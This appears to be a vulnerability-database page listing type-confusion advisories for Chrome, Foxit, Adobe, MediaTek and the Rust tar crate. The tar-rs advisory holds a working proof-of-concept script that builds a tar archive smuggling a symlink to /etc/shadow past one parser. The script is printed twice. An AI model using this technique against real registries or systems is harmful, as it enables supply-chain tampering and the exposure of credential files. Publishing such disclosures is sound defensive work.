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Common Weakness Enumeration

CWE-843

Allowed

Access of Resource Using Incompatible Type ('Type Confusion')

Abstraction: Base · Status: Incomplete

The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

1124 vulnerabilities reference this CWE, most recent first.

GHSA-G4VH-HH62-JGQC

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 18:31
VLAI
Details

Type Confusion in XML in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted XML file. (Chromium security severity: Medium)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:17:26Z",
    "severity": "MODERATE"
  },
  "details": "Type Confusion in XML in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted XML file. (Chromium security severity: Medium)",
  "id": "GHSA-g4vh-hh62-jgqc",
  "modified": "2026-06-05T18:31:38Z",
  "published": "2026-06-05T00:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11196"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/503879106"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5C6-866R-Q623

Vulnerability from github – Published: 2022-05-13 01:37 – Updated: 2022-05-13 01:37
VLAI
Details

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 8.3.1.21155. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the remove method of XFAScriptObject objects. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-5017.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704",
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-20T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 8.3.1.21155. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the remove method of XFAScriptObject objects. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code under the context of the current process. Was ZDI-CAN-5017.",
  "id": "GHSA-g5c6-866r-q623",
  "modified": "2022-05-13T01:37:37Z",
  "published": "2022-05-13T01:37:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14825"
    },
    {
      "type": "WEB",
      "url": "https://www.foxitsoftware.com/support/security-bulletins.php"
    },
    {
      "type": "WEB",
      "url": "https://zerodayinitiative.com/advisories/ZDI-17-869"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5PM-RQ4W-Q5JW

Vulnerability from github – Published: 2024-07-01 06:31 – Updated: 2024-07-03 18:47
VLAI
Details

In venc, there is a possible out of bounds write due to type confusion. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08737250; Issue ID: MSV-1452.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-20078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-01T05:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "In venc, there is a possible out of bounds write due to type confusion. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08737250; Issue ID: MSV-1452.",
  "id": "GHSA-g5pm-rq4w-q5jw",
  "modified": "2024-07-03T18:47:28Z",
  "published": "2024-07-01T06:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20078"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/July-2024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G63V-HWV9-J9Q5

Vulnerability from github – Published: 2023-08-03 03:30 – Updated: 2023-11-25 12:30
VLAI
Details

Type Confusion in V8 in Google Chrome prior to 115.0.5790.170 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-4069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-03T01:15:11Z",
    "severity": "HIGH"
  },
  "details": "Type Confusion in V8 in Google Chrome prior to 115.0.5790.170 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-g63v-hwv9-j9q5",
  "modified": "2023-11-25T12:30:22Z",
  "published": "2023-08-03T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4069"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2023/08/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1465326"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PQKT7EGDD2P3L7S3NXEDDRCPK4NNZNWJ"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202311-11"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202312-07"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-34"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5467"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G779-VPJ7-V6C4

Vulnerability from github – Published: 2024-06-20 00:30 – Updated: 2024-06-21 15:31
VLAI
Details

Type Confusion in V8 in Google Chrome prior to 126.0.6478.114 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-6100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T00:15:09Z",
    "severity": "HIGH"
  },
  "details": "Type Confusion in V8 in Google Chrome prior to 126.0.6478.114 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-g779-vpj7-v6c4",
  "modified": "2024-06-21T15:31:05Z",
  "published": "2024-06-20T00:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6100"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2024/06/stable-channel-update-for-desktop_18.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/344608204"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HYUEHZ35ZPY2EONVZCGO6LPT3AMLZCP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U5NRNCEYS246CYGOR32MF7OGKWOWER22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G933-C5V6-98JV

Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2022-05-24 17:22
VLAI
Details

Adobe Acrobat and Reader versions 2019.012.20035 and earlier, 2019.012.20035 and earlier, 2017.011.30142 and earlier, 2017.011.30143 and earlier, 2015.006.30497 and earlier, and 2015.006.30498 and earlier have a type confusion vulnerability. Successful exploitation could lead to information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-8251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-06T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Acrobat and Reader versions 2019.012.20035 and earlier, 2019.012.20035 and earlier, 2017.011.30142 and earlier, 2017.011.30143 and earlier, 2015.006.30497 and earlier, and 2015.006.30498 and earlier have a type confusion vulnerability. Successful exploitation could lead to information disclosure.",
  "id": "GHSA-g933-c5v6-98jv",
  "modified": "2022-05-24T17:22:25Z",
  "published": "2022-05-24T17:22:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8251"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb19-41.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G97F-3HRX-C447

Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2025-10-22 00:31
VLAI
Details

Type confusion in V8 in Google Chrome prior to 59.0.3071.86 for Linux, Windows, and Mac, and 59.0.3071.92 for Android, allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-5070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-27T05:29:00Z",
    "severity": "HIGH"
  },
  "details": "Type confusion in V8 in Google Chrome prior to 59.0.3071.86 for Linux, Windows, and Mac, and 59.0.3071.92 for Android, allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.",
  "id": "GHSA-g97f-3hrx-c447",
  "modified": "2025-10-22T00:31:29Z",
  "published": "2022-05-13T01:02:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5070"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:1399"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2017/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/722756"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201706-20"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2017-5070"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98861"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038622"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G9R6-47G2-3CPC

Vulnerability from github – Published: 2026-07-30 03:31 – Updated: 2026-07-30 18:31
VLAI
Details

Type Confusion in ANGLE in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-17697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T01:16:32Z",
    "severity": "CRITICAL"
  },
  "details": "Type Confusion in ANGLE in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-g9r6-47g2-3cpc",
  "modified": "2026-07-30T18:31:27Z",
  "published": "2026-07-30T03:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17697"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0887107924.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/517575864"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GCHP-Q4R4-X4FF

Vulnerability from github – Published: 2026-03-20 17:25 – Updated: 2026-05-19 16:05
VLAI
Summary
tar-rs incorrectly ignores PAX size headers if header size is nonzero
Details

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

#!/usr/bin/env python3
B = 512


def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d


def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)


INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.44"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T17:25:05Z",
    "nvd_published_at": "2026-03-20T07:16:13Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n\u003e I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n    r = len(d) % B\n    return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n    h = bytearray(B)\n    h[0 : len(name)] = name\n    h[100:107] = b\"0000644\"\n    h[108:115] = h[116:123] = b\"0001000\"\n    h[124:135] = f\"{size:011o}\".encode()\n    h[136:147] = b\"00000000000\"\n    h[148:156] = b\"        \"\n    h[156:157] = typ\n    if link:\n        h[157 : 157 + len(link)] = link\n    h[257:263] = b\"ustar\\x00\"\n    h[263:265] = b\"00\"\n    h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n    return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used \u003c INFLATED:\n    ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn\u0027t disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: \u0026[u8]) {\n    println!(\"tar:\");\n    let mut ar = tar::Archive::new(data);\n    for e in ar.entries().unwrap() {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) =\u003e println!(\"  {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n            None =\u003e println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\nasync fn async_parse(data: Vec\u003cu8\u003e) {\n    println!(\"astral-tokio-tar:\");\n    let mut ar = tokio_tar::Archive::new(data.as_slice());\n    let mut entries = ar.entries().unwrap();\n    while let Some(e) = tokio_stream::StreamExt::next(\u0026mut entries).await {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) =\u003e println!(\"  {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n            None =\u003e println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\n#[tokio::main]\nasync fn main() {\n    let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n    let data = fs::read(\u0026path).unwrap();\n    sync_parse(\u0026data);\n    async_parse(data).await;\n}\n```\n\n```\ntar:\n  regular.txt          Regular\n  smuggled             Symlink -\u003e /etc/shadow\n\nastral-tokio-tar:\n  regular.txt          Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.",
  "id": "GHSA-gchp-q4r4-x4ff",
  "modified": "2026-05-19T16:05:57Z",
  "published": "2026-03-20T17:25:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/composefs/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33055"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alexcrichton/tar-rs"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0068.html"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-62518"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tar-rs incorrectly ignores PAX size headers if header size is nonzero"
}

GHSA-GCPP-P65G-2FX8

Vulnerability from github – Published: 2026-02-03 21:31 – Updated: 2026-02-09 18:30
VLAI
Details

Type Confusion in V8 in Google Chrome prior to 144.0.7559.132 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-03T21:16:12Z",
    "severity": "HIGH"
  },
  "details": "Type Confusion in V8 in Google Chrome prior to 144.0.7559.132 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-gcpp-p65g-2fx8",
  "modified": "2026-02-09T18:30:23Z",
  "published": "2026-02-03T21:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1862"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/02/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/479726070"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.